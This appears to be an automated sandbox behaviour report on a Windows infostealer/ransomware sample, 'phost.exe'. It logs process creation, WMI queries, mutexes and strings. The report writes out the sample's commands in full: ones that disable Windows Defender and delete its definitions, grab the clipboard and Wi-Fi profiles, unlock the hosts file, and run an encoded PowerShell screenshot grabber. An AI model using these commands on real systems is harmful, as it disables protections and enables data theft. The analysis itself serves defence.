Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 3615

Source: libcrypto-3.dll.0.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9989650991958289
Source: libssl-3.dll.0.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9923451741536459
Source: python312.dll.0.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9994210643762751
Source: sqlite3.dll.0.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9971739243943192
Source: unicodedata.pyd.0.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9942978533094812

Source: classification engine

Classification label: mal100.rans.troj.adwa.spyw.expl.evad.winEXE@199/60@4/3

Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe

Code function: 105_2_00007FF6BBCCCAFC GetLastError,FormatMessageW,

105_2_00007FF6BBCCCAFC

Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBCCEF50 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,		105_2_00007FF6BBCCEF50
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBCFB57C GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitWindowsEx,		105_2_00007FF6BBCFB57C

Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe

Code function: 105_2_00007FF6BBCD3144 GetDiskFreeSpaceExW,

105_2_00007FF6BBCD3144

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8176:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7568:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7716:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7948:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8000:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7180:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2472:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7636:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7500:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8056:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7152:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7540:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7908:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3020:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3848:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:404:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7988:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8100:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7592:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7644:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7328:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7184:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8016:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3152:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8028:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7356:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7240:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2000:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1436:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8172:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1908:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7600:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2188:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8132:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7296:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4924:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4324:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7748:120:WilError_03
Source: C:\Users\user\Desktop\phost.exe	Mutant created: \Sessions\1\BaseNamedObjects\z
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7216:120:WilError_03

Source: C:\Users\user\Desktop\phost.exe

File created: C:\Users\user\AppData\Local\Temp\_MEI32202

Jump to behavior

Source: phost.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process

Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe

File read: C:\Users\desktop.ini

Source: C:\Users\user\Desktop\phost.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\phost.exe

File read: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

Source: phost.exe, 00000001.00000002.2182380751.00007FFDFAB31000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: phost.exe, phost.exe, 00000001.00000002.2182380751.00007FFDFAB31000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: phost.exe, phost.exe, 00000001.00000002.2182380751.00007FFDFAB31000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: phost.exe, phost.exe, 00000001.00000002.2182380751.00007FFDFAB31000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: phost.exe, phost.exe, 00000001.00000002.2182380751.00007FFDFAB31000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: phost.exe, phost.exe, 00000001.00000002.2182380751.00007FFDFAB31000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: phost.exe, phost.exe, 00000001.00000002.2182380751.00007FFDFAB31000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);

Source: phost.exe

ReversingLabs: Detection: 34%

Source: phost.exe	String found in binary or memory: set-addPolicy
Source: phost.exe	String found in binary or memory: id-cmc-addExtensions

Source: C:\Users\user\Desktop\phost.exe

File read: C:\Users\user\Desktop\phost.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\phost.exe "C:\Users\user\Desktop\phost.exe"
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Users\user\Desktop\phost.exe "C:\Users\user\Desktop\phost.exe"
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\phost.exe'"
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Verify your permission and try again.', 0, 'Access Denied', 48+16);close()""
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\phost.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mshta.exe mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Verify your permission and try again.', 0, 'Access Denied', 48+16);close()"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic path win32_VideoController get name
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic path win32_VideoController get name
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\?? ? .scr'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\?? ? .scr'
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-Clipboard
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "systeminfo"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profile
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIA
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib -r C:\Windows\System32\drivers\etc\hosts
